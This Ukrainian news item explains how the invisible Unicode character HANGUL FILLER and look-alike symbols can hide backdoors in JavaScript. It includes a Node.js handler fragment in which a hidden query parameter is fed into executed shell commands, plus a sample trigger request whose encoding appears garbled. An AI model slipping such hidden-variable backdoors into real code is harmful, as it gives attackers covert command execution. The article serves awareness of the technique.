Застосування невидимих ​​unicode-символів для приховання дій у JavaScript-коді

Слідом за методом атаки Trojan Source, заснованому на застосуванні Unicode-символів, що змінюють порядок відображення двонаправленого тексту, опублікована ще одна техніка впровадження прихованих дій, застосовна для коду JavaScript. Новий метод базується на застосуванні unicode-символу "ㅤ" (код 0x3164, "HANGUL FILLER"), який відноситься до розряду букв, але не має видимого вмісту. Unicode-категорія, до якої входить цей символ, дозволена починаючи зі специфікації ECMAScript 2015 для використання в іменах змінних JavaScript, що дає можливість створювати невидимі змінні або нові змінні, які не відрізняються від інших змінних у популярних редакторах коду, таких як Notepad++ та VS Code.

Як приклад наводиться код для платформи Node.js, в якому за допомогою змінної, що складається з одного символу "ㅤ", прихований бекдор, що дозволяє виконати вказаний зловмисником код: app.get('/network_health', async (req, res) = > { const { timeout,ㅤ} = req.query; // насправді вказано «const { timeout,ㅤ \u3164}» const checkCommands = [ 'ping -c 1 google.com', 'curl -s http:// example.com/',ㅤ // після коми слідує символ ];

На перший погляд через зовнішній параметр передається тільки значення timeout, а масив з командами містить невинний фіксований список. Але насправді після змінної timeout присвоюється значення ще однієї невидимої змінної з кодом символу, яка також підставлена ​​в масив команд, що виконуються. Таким чином, за наявності подібної конструкції для активації бекдору та виконання свого коду атакуючий може надіслати запит виду "https://host:3164/network_health?%E8080%3%A85=команда".

Як ще один приклад наводиться символ «ǃ» (ALVEOLAR CLICK), який може використовуватися для створення видимості вказівки знака оклику. Наприклад, вираз "if(environmentǃ=ENV_PROD){" при виконанні в Node.js 14 завжди буде істинним, так як в ньому здійснюється не перевірка відмінності, а присвоєння змінної "environmentǃ" значення ENV_PROD. Серед символів, що вводять в оману unicode, також відзначаються «/», «-», «+», «⩵», «❨», «⫽», «꓿» і «∗».

Джерело: opennet.ru

Додати коментар або відгук